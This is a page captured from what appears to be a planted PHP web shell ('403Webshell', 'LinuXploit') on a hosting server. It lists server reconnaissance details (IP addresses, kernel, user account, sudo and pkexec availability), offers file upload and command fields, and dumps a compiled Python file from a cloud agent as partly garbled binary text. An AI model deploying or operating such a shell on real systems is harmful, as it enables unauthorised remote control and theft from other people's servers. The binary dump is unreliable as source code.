403Webshell
Server IP : 162.241.219.206  /  Your IP : 216.73.216.195
Web Server : Apache
System : Linux box5669.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User : signavd5 ( 2863)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/oci_agent_utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/oci_agent_utils/secure_random.pyc
a

���f�@s(dZddlZdd�Zdd�Zdd�ZdS)zd
This package provides random methods that considered secure for certain static code analysis tools
�NcCs|||krtd��nf||kr|S||d}d}tt�d���d�}||||krhtt�d���d�}qB||;}||SdS)z�
    Python random.randint() is considered insecure.
    We use this function to get around of the restriction.
    :param a: lower bound
    :param b: upper bound
    :return: Return a random integer N such that a <= N <= b.
    z'Lower bound is larger than upper bound.�l����N)�
ValueError�int�os�urandom�hex)�a�b�m�rand_max�n�r�M/sparta/input/python_modules/oci_agent_utils/oci_agent_utils/secure_random.py�
random_int
s
rcCs6t|�}t|�}|dkr td��td|d�}||S)�.Pick a random element of the given small arrayrzCannot pick from an empty arrayr��list�lenrr��source�length�positionrrr�random_element srcCs6t|�}t|�}|dkr td��td|d�}||S)rrzCannot pick from empty arrayrrrrrrr*s)�__doc__rrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit